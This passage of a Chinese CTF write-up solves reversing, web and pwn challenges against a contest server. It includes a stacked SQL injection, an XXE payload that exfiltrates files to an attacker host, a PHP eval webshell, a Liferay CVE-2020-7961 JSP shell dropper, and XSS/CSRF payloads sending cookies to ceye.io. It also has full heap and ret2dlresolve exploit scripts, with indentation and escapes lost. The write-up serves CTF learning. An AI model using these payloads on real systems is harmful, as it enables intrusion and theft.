#server.serve_forever()
运行得到flag：Dozerctf{****************}
RE
貌似有一些不对
直接运行失败，放入ida搜字符串
发现有一个换表base64，表也给了
然后再栅栏一下得到flag
dozer_vm_plus
这道题应该非预期了，发现可以逐字节爆破，如果输入正确，回显会多一个行，所以爆破脚本
from pwn import *
from string import *
table =printable
FLAG='DozerCtf{'
lenth=11
for i in range(50):
for j in printable:
flag=FLAG+j
sh=process('./mac')
sh.recv()
sh.sendline(flag)
ans = sh.recvuntil("FLAG!").split("n")
if len(ans) > lenth:
Flag+=j
lenth+=1
print FLAG
break
#sh.interactive()
补一个}就行了。
easy_maze
先用UPXUnPacKer脱个壳
然后ida打开，找到地图
根据引用找到关键函数，然后手工走一波
SSSSDDDWWWDDSSSSSAAAASSDDDDSSSDDWWWWDDDSSSSD
发现不行，换键了，大概这样
W: 上下颠倒
A： 左移一位
S：上下颠倒 左右颠倒
D：右移一位
写脚本
a = 'SSSSDDDWWWDDSSSSSAAAASSDDDDSSSDDWWWWDDDSSSSD'
c = a.replace('W','0')
c = c.replace('A','1')
c = c.replace('S','2')
c = c.replace('D','3')
b = ['W','A','S','D']
print(c)
for i in range(len(c)):
if( c[i] == '0'):
print(b[eval(c[i])],end='')
t=b[0]
b[0]=b[2]
b[2]=t
if( c[i] == '1'):
print(b[eval(c[i])],end='')
t=b[0]
b[0]=b[1]
b[1]=b[2]
b[2]=b[3]
b[3]=t
if( c[i] == '2'):
print(b[eval(c[i])],end='')
t=b[0]
b[0]=b[2]
b[2]=t
t=b[1]
b[1]=b[3]
b[3]=t
if( c[i] == '3'):
print(b[eval(c[i])],end='')
t=b[3]
b[3]=b[2]
b[2]=b[1]
b[1]=b[0]
b[0]=t
结果：SWSWDSAADAWADADADSAWDADWASDADASDDADAWASWSWSD
SWSWDSAADAWADADADSAWDADWASDADASDDADAWASWSWSD的md5值为flag。
web
sqli-labs 0
引号要二次url编码闭合,然后ban了select可以堆叠注入绕过
对了还有大小写问题
http://118.31.11.216:30501/?id=1%2527;sEt @a=0x1; prEpare dump from @a;execute dump;
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c6167
select group_concat(table_name) from information_schema.tables where table_schema=database()
select * from information_schema.tables where table_schema=database() and table_name='uziuzi'*
select * from uziuzi
//结果
Your ID:information_schema,mysql,performance_schema,security
emails,referers,uagents,users,uziuzi
// 查flag
http://118.31.11.216:30501/?id=1%2527;sEt%20@a=0x73656c656374202a2066726f6d20757a69757a69;%20prEpare%20dump%20from%20@a;execute%20dump;
白给的反序列化
真的白给,waf什么都不用绕
method 传mysys,args传[‘flag.php’]就出了
svgggggg!
svg是xml的,搜到了一个svg任意文件读的,但是这个没回显,开始自己构造盲打是xxe没成功,后来谷歌的一个别人构造的,成功读到文件
https://blog.csdn.net/a3320315/article/details/104334735
https://www.rootnetsec.com/bsidessf-svgmagick/
https://blog.bushwhackers.ru/googlectf-2019-gphotos-writeup/
//svg2
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT svg ANY >
<!ENTITY % remote SYSTEM "http://ip/test.xml" >
%remote;%template;
]><svg height="100" width="1000">&res;</svg>
//test.xml
<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=file:///app/H3re_1s_y0ur_f14g.php" >
<!ENTITY % template "<!ENTITY res SYSTEM 'http://w.ip:3001/?a=%secret;'>">
//server.py
//其一个flask方便看结果
import requests
from flask import Flask
from flask import request
import base64
app = Flask(__name__)
@app.route('/')
def index():
result = request.args.get('a', '').replace(' ', '+')
print(result)
print(base64.b64decode(result).decode())
print('')
return '<h1>Hello World</h1>'
app.run('0.0.0.0', port=3001)
读用户,命令读出
cd /app
php -S 0.0.0.0:8080
8080起了一个php
用file读一下源码
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>
<?php
$conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('security');
if ($_GET['id']){
$id = $_GET['id'];
}
else
$id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);
print_r($arr);
?>
1' union select 1,'<?php var_dump(12);eval($_REQUEST[a]);?>',3 into outfile '/app/shell.php
写shell进去,scandir列目录,file读flag
简单域渗透-flag1
参考
https://github.com/vulhub/vulhub/tree/master/liferay-portal/CVE-2020-7961
https://www.cnblogs.com/tr1ple/p/12608731.html#NmdGyEkb
https://github.com/mzer0one/CVE-2020-7961-POC
可以执行cmd,
import java.io.FileWriter;
public class LifExp {
static {
try {
String payload = "<%" if("023".equals(request.getParameter("pwd"))){" java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();" int a = -1;" byte[] b = new byte[2048];" out.print("<pre>");" while((a=in.read(b))!=-1){" out.println(new String(b));" }" out.print("</pre>");" }"%>";
FileWriter writer = new FileWriter("../webapps/ROOT/html/wendell.jsp");
writer.write(payload);
writer.close();
String cmd = "ping wa.ik1fh0.ceye.io";
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
在web路径写一个jsp马,
然后桌面读出flag
fake phpminiadmin
给了提示是xxs
select 0x16进制绕过过滤,直接xss了
然后这个是post
CSRF构造一下
放在自己服务器
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form id ='formid' action="http://118.31.11.216:30004/sql.php" method="POST">
<input type="hidden" name="sql" value="select 0x205c223e3c64657461696c73206f70656e206f6e746f67676c653d77696e646f772e6c6f636174696f6e2e687265663d272f2f636f6f6b69652e696b316668302e636579652e696f2f3f272b62746f6128646f63756d656e742e636f6f6b6965293e;" />
<input type="submit" value="Submit request" />
</form>
<script>
var form = document.getElementById('formid');
form.submit();
</script>
</body>
</html>
就可以打管理cookie
服务器的日志看到admin_shark.php页面
用上次安恒月赛的构造请求访问一下
<script >xmlhttp=new XMLHttpRequest();
xmlhttp[`x6fnreadystatechange`]=()=>{if(xmlhttp.readyState==4 && xmlhttp.status==200){document[`x6cocatix6fn`][`href`]=`http://cookie.ik1fh0.ceye.io/`+btoa(xmlhttp[`x72espox6eseText`]);}};xmlhttp.open(`GET`,`/admin_shark.php`,true);xmlhttp.send();</script>
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form id ='formid' action="http://118.31.11.216:30004/sql.php" method="POST">
<input type="hidden" name="sql" value="select 0x3c736372697074203e786d6c687474703d6e657720584d4c487474705265717565737428293b0a786d6c687474705b605c7836666e726561647973746174656368616e6765605d3d28293d3e7b696628786d6c687474702e726561647953746174653d3d3420262620786d6c687474702e7374617475733d3d323030297b646f63756d656e745b605c7836636f636174695c7836666e605d5b6068726566605d3d60687474703a2f2f636f6f6b69652e696b316668302e636579652e696f2f602b62746f6128786d6c687474705b605c7837326573706f5c783665736554657874605d293b7d7d3b786d6c687474702e6f70656e2860474554602c602f61646d696e5f736861726b2e706870602c74727565293b786d6c687474702e73656e6428293b3c2f7363726970743e;" />
<input type="submit" value="Submit request" />
</form>
<script>
var form = document.getElementById('formid');
form.submit();
</script>
</body>
</html>
拿到flag
babay waf
这里泄露的请求地址, 直接上guoke的车了
看到guoke.php大胆猜一下就是一句话,然后爆出来密码是1,
还看到,antproxy.php,蚁剑绕dis_func 剩下的2333
传大马,连上去直接搜出来flag
pwn
heap_master
一开始没看出来是原题，largebin attack也不会（学堆的时候偷懒跳过了QAQ）
后来谷歌一搜，找了两篇exp，拼了一下，改了改打通嘞。
https://www.dazhuanlan.com/2020/02/11/5e425387e2d1d/
还有一篇是天枢的，一下子找不到了
exp:
#!/usr/bin/python
from pwn import *
#from LibcSearcher import LibcSearcher
context(arch='amd64')
local=0
binary_name='heap_master.bak'
libc_name='libc.so.6'
if local:
### p=process("./"+binary_name)
p=process(['./'+binary_name],env={'LD_PRELOAD':'./'+libc_name})
e=ELF("./"+binary_name)
### libc=e.libc
libc=ELF("./libc.so.6")
else:
p=remote('118.31.11.216',30078)
e=ELF("./"+binary_name)
libc=ELF("./libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'x00'))
def cho(num):
#sleep(0.1)
p.recvuntil('>> ')
p.sendline(str(num))
def add(size):
cho(1)
sla("size: ",str(size))
def free(offset):
cho(3)
sla("offset: ",str(offset))
def edit(offset,content):
cho(2)
sla("offset: ",str(offset))
sla("size: ",str(len(content)))
sa("content: ",content)
def g(off):
return libc_base + off
def pwn():
offset = 0x8800-0x7A0
# stdout = 0x2620
stdout = ((0x40|6)<<8)# + 0x20
edit(offset+8, p64(0x331)) #p1 offset+0x10
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x411)) #p2
edit(offset+8+0x360+0x410, p64(0x31))
edit(offset+8+0x360+0x440, p64(0x411)) #p3
edit(offset+8+0x360+0x440+0x410, p64(0x31))
edit(offset+8+0x360+0x440+0x440, p64(0x31))
free(offset+0x10)#p1
free(offset+0x10+0x360)#p2
add(0x90)#p2 => largebin
edit(offset+8+0x360, p64(0x101)+p64(0)+p64(0x101))#p2 size=>0x101
edit(offset+8+0x460, p64(0x101)+p64(0)+p64(0x101))
edit(offset+8+0x560, p64(0x101)+p64(0)+p64(0x101))
free(offset+0x10+0x370)
add(0x90)#last p1->small bin
free(offset+0x10+0x360)
add(0x90)
edit(offset+8+0x360, p64(0x401) + p64(0) + p16(stdout-0x10)) #p2->bk
# edit(offset+8+0x360+0x18, p64(0) + p16(stdout+0x19-0x20)) #p2->bk_nextsize
edit(offset+8+0x360+0x18, p64(0) + p16(stdout)) #p2->bk_nextsize
free(offset+0x10+0x360+0x440) #p3
add(0x90)
p.recv(0x18)
# libc_base = u64(p.recv(8))-libc.symbols['_IO_file_jumps']
libc_base = u64(p.recv(8))-0x39e5f0
log.info('libc_base:'+hex(libc_base))
# system = libc_base + libc.symbols['system']
system = libc_base + 0x40D50
# _dl_open_hook = libc_base + libc.symbols['_dl_open_hook']
_dl_open_hook = libc_base + 0x3A22E0
heap_p3 = u64(p.recv(8))
heap = heap_p3 - 0x83c0
log.info('mmap_base:'+hex(heap))
###############################################################################################
offset = 0x100
edit(offset+8, p64(0x331)) #p1
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x511)) #p2
edit(offset+8+0x360+0x510, p64(0x31))
edit(offset+8+0x360+0x540, p64(0x511)) #p3
edit(offset+8+0x360+0x540+0x510, p64(0x31))
edit(offset+8+0x360+0x540+0x540, p64(0x31))
free(offset+0x10) #p1
free(offset+0x10+0x360) #p2
add(0x90)
io = libc_base + 0x39E500
edit(offset+8+0x360, p64(0x4f1) + p64(0) + p64(io-0x10) + p64(0) + p64(io-0x20))
free(offset+0x10+0x360+0x540) #p3
add(0x200)
### if libc_base < 0xff4113b36000:
### z()
# edit(0,'a')
# trigger on exit()
# z()
pp_j = libc_base+0x10fa54 # pop rbx ; pop rbp ; jmp rcx
p_rsp_r = libc_base+0x3870 # pop rsp ; ret
p_rsp_r13_r = libc_base+0x1fd94 # pop rsp ; pop r13 ; ret
p_rdi_r = libc_base+0x1feea # pop rdi ; ret
p_rdx_rsi_r = libc_base+0xf9619 # pop rdx ; pop rsi ; ret
fake_IO_strfile = p64(0) + p64(p_rsp_r) + p64(heap+8) + p64(0) + p64(0) + p64(p_rsp_r13_r)
_IO_str_jump = p64(libc_base + 0x39A500)
orw = [
p_rdi_r, heap,
p_rdx_rsi_r, 0, 0,
libc_base+libc.sym['open'],
p_rdi_r, 3,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc_base+0xDE720,
p_rdi_r, 1,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc_base+0xDE780,
]
binsh = libc_base + 0x1688F7
# orw = [
# p_rdi_r,
# binsh,
# system,
# ]
edit(0, './flagx00x00' + flat(orw))
edit(offset+0x360+0x540, fake_IO_strfile)
edit(offset+0x360+0x540+0xD8, _IO_str_jump)
edit(offset+0x360+0x540+0xE0, p64(pp_j))
info('b *'+hex(pp_j))
# z()
p.sendlineafter('>> ', '0')
p.interactive()
'''
offset = 0x1000
edit(offset+8, p64(0x331)) #p1 offset+0x10
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x511)) #p2
edit(offset+8+0x360+0x510, p64(0x31))
edit(offset+8+0x360+0x540, p64(0x521)) #p3
edit(offset+8+0x360+0x540+0x520, p64(0x31))
edit(offset+8+0x360+0x540+0x550, p64(0x31))
free(offset+0x10)
free(offset+0x360+0x10)#p2
add(0x90)#p2 -> largebin
edit(offset+8+0x360, p64(0x511) + p64(0) + p64(_dl_open_hook-0x10) + p64(0) + p64(_dl_open_hook-0x20))
free(offset+0x360+0x540+0x10) #p3
print(hex(libc_base),hex(system),hex(_dl_open_hook))
add(0x90) #IO_list_all -> #p3_addr
if libc_base < 0xff4113b36000:
z()
key_rbx_gad = libc_base + 0x8959E #mov rdi, [rbx+48h] ; mov rsi, r13 ; call qword ptr [rbx+40h]
key_rax_gad = libc_base + 0x6D98A #mov rdi, rax ; call qword ptr [rax+20h]
setcontext_53 = libc_base + 0x47b40 + 53
p_rbx_rbp_j = libc_base + 0x000000000012d751 #pop rbx ; pop rbp ; jmp rdx
p_rsp_r13_r = libc_base + 0x00000000000206c3 #pop rsp ; pop r13 ; ret
p_rsp_r = libc_base + 0x0000000000003838 #pop rsp ; ret
p_rdi_r = libc_base + 0x0000000000021102 #pop rdi ; ret
p_rdx_rsi_r = libc_base + 0x00000000001150c9 #pop rdx ; pop rsi ; ret
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
p_rsi_r = libc_base + 0x00000000000202e8 #pop rsi ; ret
#open_read_write_rop
rop = './flag'.ljust(8,'x00')+p64(0)+p64(mmap_base)+p64(p_rsi_r)+p64(0)+p64(open_addr)
rop += p64(p_rdi_r)+p64(4)+p64(p_rdx_rsi_r)+p64(0x100)+p64(mmap_base+1337)+p64(read_addr)
rop += p64(p_rdi_r)+p64(1)+p64(p_rdx_rsi_r)+p64(0x100)+p64(mmap_base+1337)+p64(write_addr)
edit(0,rop)
edit(offset+0x360+0x540, p64(key_rax_gad))#p3
edit(offset+0x360+0x540+0xa0, p64(mmap_base + 0x10))
edit(offset+0x360+0x540+0xa8, p64(p_rdi_r))
edit(offset+0x360+0x540+0x20, p64(setcontext_53))
free(0x10)
p.interactive()
'''
while True:
try:
pwn()
break
except:
p.close()
p=remote('118.31.11.216',30078)
# p=process(['./'+binary_name],env{'LD_PRELOAD':'./'+libc_name})
re2dl
貌似是XDCTF2015的题
ctf-wiki上复制exp，直接打
exp：
#!/usr/bin/python
from roputils import *
#from pwn import process
from pwn import remote
from pwn import gdb
from pwn import context
#r = process('./pwn')
r = remote('118.31.11.216',36666)
context.log_level = 'debug'
r.recv()
rop = ROP('./pwn')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 0x100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
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